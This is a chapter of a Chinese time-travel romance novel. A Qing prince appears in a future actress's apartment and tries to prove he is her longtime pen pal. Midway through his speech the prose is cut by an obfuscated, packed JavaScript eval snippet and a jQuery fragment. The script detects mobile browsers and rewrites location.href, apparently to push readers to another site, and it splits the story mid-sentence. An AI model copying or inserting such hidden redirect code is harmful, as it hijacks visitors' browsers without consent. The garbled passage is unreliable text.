9. 第 9 章

在郭绵所处的时代,中华文化是世界主流,各个朝代的汉服都得以发扬光大,大街上屡见不鲜,唯清代服装一直非常小众。


一来,至今仍有很多人把满人统治华国当成汉人的耻辱;二来,极少有人能驾驭清朝后期的阴阳头,更别提早期的金钱鼠尾辫。


去年开始,随着《大清翻译官》热播,曾掀起过一阵清装热,不过仅限饭圈。


是以,郭绵看到全副清装,头顶麻花辫的胤禩,理所当然地以为他是狂热剧迷和变态私生饭。


小周却说:“我并未检测到入侵痕迹,他是通过非正常渠道凭空出现的。请问是继续报警,还是为您联系灵异事件处理专家?”


灵……灵异?


郭绵一下子醒酒了。


‘这房子太阴森了,而且这么好的地段、这么贵的装修、这么高的服务配置,还是第一次出租,租金却这么便宜,八成有问题,还是换个地方吧!’


搬家前宋时曾极力劝阻她,架不住她非要贪便宜!


郭绵悔得肠子都青了,极力给小周打个眼色:拜托拜托,警察和专家都叫一下吧。


可惜小周终究不是人,必须听到明确指令才能进行下一步操作。


而清醒后郭绵没胆量当着‘鬼小爷’的面儿呼叫救援——


万一激怒了他,或露出青面獠牙,或再次施暴,都是她不能承受的。


她挥手收起小周,缓缓爬起来,拢了拢凌乱的头发和礼服,深吸一口气,再抬头,已经换了副笑脸。


——她向来输人不输阵。


哪怕吓得胆都快破了,也能仰仗绝好的演技,装得镇定自若。


“……鬼爷您大驾光临,是……是在下面缺点什么吗?金银珠宝,衣服首饰,妻妾仆从,宝马香车什么的,您尽管提,我立即出门给您买,天亮前给您烧过去!”


胤禩这才完全看清她。


这张脸他见过,就在那副会动的画上。


画中容颜明显更稚嫩些,不施脂粉已是人间绝色,现实中她长开了些,化了妆艳而不俗,美得夺魂摄魄。


要是吸食人精魄的妖怪真长这样,世间恐怕没几个男子能抵得住诱惑。


幸亏她只是个爱逞强的姑娘——误把他当‘鬼爷’,吓得脸白声颤,还要笑着周旋。


和他所熟悉的郭绵一样。


胤禩紧绷的心弦终于松了松。


他唯一不认可的,是她身上这件几难蔽体的衣裳。


即便是在家里,穿成这样也不得体。


她倒是没有忸怩之态。不知道是因为没把他当人,还是吓得忘了羞耻。


或许正因为不扭捏,这件衣服在她身上看起来并不低俗淫*荡,反而衬得她典雅高贵,让人不敢亵渎。


不过这份美丽只能属于他。


别人是万万不能分享的。


半晌,他红着脸垂下眼,温声道:“你别怕,我不是鬼,是活生生的人。我也不知道为什么会突然出现在这里,刚才误伤你实属意外。待道明身份,凭你责罚。”


我也不知道为什么突然出现在你家?误伤你实属意外?


这两句如果是鬼话,郭绵就不计较了,若是人话,她就得问问警察相不相信了。


至于责罚……私闯民宅加故意伤害,应该够这小子蹲几年的。


她抚着肋下剧痛的位置冷笑了一下:“那你是什么身份?”


胤禩还是想先确定她的身份,免得会错意、表错情。


他俯身拾起装信的铁盒子,低着头问:“这些信是你的吗?你是郭绵?”


郭绵被问的一愣。


他不认识我?


《大清翻译官》播放量超两百亿,至今还在霸屏;我在最火综艺里当常驻嘉宾,一年拍了四十多支广告,商超、地铁、机场到处都是我的身影,不说别处,北京城里的年轻人,谁不认识我?


他真的是大活人吗?


她满心疑虑,态度又谨慎起来:“您想找的是谁?”


“郭绵。”


“既然您找她,为什么不认识她?”


胤禩抿了抿嘴,再次抬眼看她,“因为我与她神交五年,素未蒙面。”


他以为,若她真是郭绵,听了这句话就会知道自己是谁,必定又惊又喜。


打算着,若她问自己是怎么来的,只说天赐良缘、月老成全,只字不提自己这一年求神拜佛告祖宗的经历。


谁料她眉头一皱,震惊和愤怒溢于言表:“你才是冒充章八的人?你到底是谁?!”


在周清晋升头号嫌疑人之前,郭绵曾设想:如果章八没撒谎,信件被他同学或老师截胡的可能性最大。


眼前这人面庞稚嫩,身条细长,明显是少年模样。


可他身上穿着蓝色簟锦纹暗花绸夹袍,锦纹暗花细腻精美,似有祥龙瑞凤隐匿其中;腰上配着杏黄色腰带,红蓝宝石硕大圆润、光彩夺目,如骄阳与星辰点缀其上;羊脂玉的玉带钩,温润中透着高雅格调;腰侧垂着璎珞荷包和匕首,荷包绣工精巧绝伦,上面绣着的大公鸡雄赳赳气昂昂,羽色堪比凤凰,匕首镶金嵌宝流光溢彩;脚蹬串珠云头鞋,鞋面锦缎柔滑似云,小米珠颗颗饱满莹润,纯金云头錾刻精美;右手拇指上戴着一只白玉扳指,玉如羊脂凝萃,纯净无瑕,上面的螭吻纹古朴威严……


这一身用料奢华价值不菲,别说普通coser,就连财大气粗的《大清》剧组都复刻不出来。


而那副温文尔雅、贵气彰彰的姿态,更是连周清这种含着金汤匙出生的贵公子都扮不来的。


章八不可能会有这样的同学。


胤禩有些难堪。


但见她情绪激动,不像故意戏弄自己,便认真解释道:“一年前我已在信中坦诚相告,我是大清康熙皇帝第八子,多罗贝勒胤禩。冒充之事虽事出有因,但五年来不曾向你坦白,确是我私心作祟私德有亏,你气恼也是应该的,我定当竭力弥补。不过你当时就回信给我,许以终身,我以为你已经不生气了。”


“一年前?”郭绵听得直皱眉,要不是时间不对,她差点信了。


胤禩点头:“是。从我收到你的回信到现在,整一年了。”


他见郭绵形销骨立、精神恍惚,心又软了几分,“你不相信我,是不是因为没想到我能来?这样的经历于我而言,确如大梦一场。看来在你这个时代,古人逆时而来亦非寻常。不过你我相交五年,彼此熟悉,定有法子验证身份。不如我写几个字,你来对对笔迹?”


“没这个必要。”郭绵不耐烦地说,“信根本不是你写的。”


胤禩不解:“为何这般笃定?”


“因为你所说的这封坦白信,我昨天才看到。回信也才刚刚写完,还没寄出呢,就放在茶几上……咦,被你拿走了?”


昨天?刚刚写完?


胤禩大为震惊:我在大清苦熬了一年,她这里只过了不到一个晚上?


那不就是‘天上一天,地上一年’?


可之前不是这样的,这五年他们的时间一直齐头并进。


一定有什么事情发生,才导致时间对应规则改变。火漆印章失效,可能也跟这件事有关。


是什么呢?


该不会……郭绵飞升成仙了吧?


她看起来就仙气飘飘的!


胤禩出生在一个连大科学家牛顿都去搞迷信的年代,遇到怪事联想鬼神是再自然不过的。此刻他真的想撩开窗帘看看外面是不是云山云海。


事实上郭绵住在顶层,平流雾来时,窗外真是一片云海,与仙境无异。


可惜他今天无缘得见。


郭绵急于赶走他。


装神弄鬼能唬住她,冒充古人就算了吧!


“圆不上了?那就开诚布公吧。你潜在我家有一段时间了吧?这些信是不是看过很多遍了?越看越觉得我心善又好骗,于是决定扮成我从没见过的‘清朝’笔友。不仅能接近我,还能以穿越者的身份住在我家里。我猜你不缺钱,铤而走险是为了追星,或是为你担打抱不平。你粉江鹤?”


“不,都不是……”


郭绵一伸手,强势阻止他继续‘狡辩’,“同学,我已经三天没睡觉了,刚才还被你踢飞,现在又困又痛,只想去医院躺着,没耐心听你编故事。不如你趁我还没报警赶紧走?不过,走之前记得跪下道个歉,医药费我就不问你爸妈要了。”


胤禩讶然失语。


她还真不是外强中干的小绵羊。


分析利弊又快又准,一旦确定不再处于劣势,态度转变得又准又快。


怪不得那个姓江的前辈恨得咬牙切齿却总拿她无可奈何。


看来再不解释清楚,他不仅要被扫地出门,还会身陷麻烦。


他从腰上解下荷包,取出一只红色香袋,捧给她看。


“三年前……对你来说应该是两年前,我


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042795|162615||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


随御驾亲征噶尔丹,对你谎称迎战打上门的恶霸邻居,为保我平安,你在普陀山求了一包香灰,上面有你亲手写的‘平安如意’,我一直带在身上。”


郭绵神情微妙。


她的确送过章八一只香灰袋,上面的字也对得上,不过不是专门为他求的,上面的字也不是她写的。


那段时间她刚好在附近拍戏,听人说普济禅寺很灵,便去买了一些祈福香袋送人。


庙里的香袋嘛,都是批量生产的,上面的字也都是打印好的,什么‘平安顺遂’、‘健康长寿’、‘生意兴隆’、‘暴富’、‘聚财’、‘求子’应有尽有。


收到信时,她手里的基本都送完了,恰好只剩下‘平安如意’,就给了他。


拿这种谁都能买到的东西当信物,叫她怎么认?


胤禩从她的反应看出,这只香袋没他想的那么珍贵,不足以取信于她。


虽然有些尴尬落寞,仍视若珍宝般妥帖地放回香囊挂在腰上,而后再接再厉:“你写给我的六十一封信,我亦熟记于心。”


他仔细回忆着,娓娓道来:“2036年6月……最近工作越来越多,宋时和瓜瓜都吃不消了,再三建议我买个‘管家’回来。她们说,低配的小周就能顶一个资深助理。可我宁可花两倍价钱请一个真人,因为只有人,才懂得工作的意义,才需要这份报酬。


2036年9月……新助理和瓜瓜相处的不好。瓜瓜虽然能力差点,对我却是一片赤诚,在这个复杂的圈子里,没什么比真心更珍贵。我决定辞退新助理,并让瓜瓜自己去找帮手。瓜瓜还是想要‘小周’,我还是没同意。‘小周’只是一堆数据、一个虚影,她没有任何感情,不值得信赖。’


2037年2月……糟糕,新公寓配备了智能管家,不能拆除。我不得不学着和她共处。这很难,在家时,我总觉得有一双眼睛随时随地盯着我。别人都说没有这种感觉。我怀疑她们不是没有,只是习惯了,并且太依赖她。一旦人对什么产生依恋,就会无意识忽略对方的缺点。’


2037年4月……没有人能超脱世外,我真香了。小周真是个好管家。”


说到这儿他笑着摇摇头:“我从你的信中看未来世界,犹如管中窥豹,所见不过一斑矣。今夜初访,糊涂不知身在何处,惊见画中人变脸,惶恐中将你误做精怪重伤,又将小周当作秦鬼,不敢近前赔罪,真可谓荒唐狼狈。方才我暗中思量,原来你曾反复提起‘小周’,奈何当时我无法想象她的存在,故而一时匹配不上。此刻我才知道,‘一个虚影’并非比喻,想来‘一堆数据’也不是?”


郭绵没搭话。


她与‘章八’通信,大多是分享当时的心情和感悟,既不连贯,也无规律。


只有看过无数遍,才能把间隔很久的碎片关联起来。


而且他说话的语气方式,和这个年代的同龄人迥异,与她熟悉的‘章八’一致。


她冷眼看着他,挣扎许久,才不得不承认:“与我通信的人真的是你。”


胤禩舒了口气,目光幽深:“是我,一直是我。”


郭绵只相信他是‘笔友’,不相信他是什么清朝皇子,也没精力去求证。


她只关心一个问题:“你为什么来找我?”


五年前他应该只有十二三岁,却能从邮局盗走她的信,完美地伪装成别人,骗得她倾心相待,现在又在她名利双收的时刻出现,这心机让人不寒而栗。


她生平最厌恶也最害怕与这样的人打交道,只想尽快摆脱。


胤禩不知道这‘黄粱美梦’几时会醒,不敢耽搁,直抒胸臆:“你我八字相合,姻缘天成,我欲三书六聘,申白首之盟,带你回去,虫飞同梦。”


郭绵头皮一炸:以婚姻之名贩卖人口?


幸在此时,开关门声响起,一个魁梧俊美的年轻男人,拎着一袋子护肝片、醒酒药走了进来。


“哟,郭老师也太努力了吧,拿了奖还不早点休息,这个点和谁对戏呢?”


郭绵拔腿狂奔,临到他跟前被裙子绊了一下。


那人瞬间扔掉手中累赘,纵身一跃将她抱住,玩世不恭地笑道:“分开才几个小时,这么想我?”


郭绵紧紧抓着他的衣襟:“周清!”


周清赶紧正色:“开个玩笑,别恼。是宋时和我说你喝醉了,怕你吐酒,让我来看看。你很不舒服吗,怎么浑身发抖?”


“快报警!”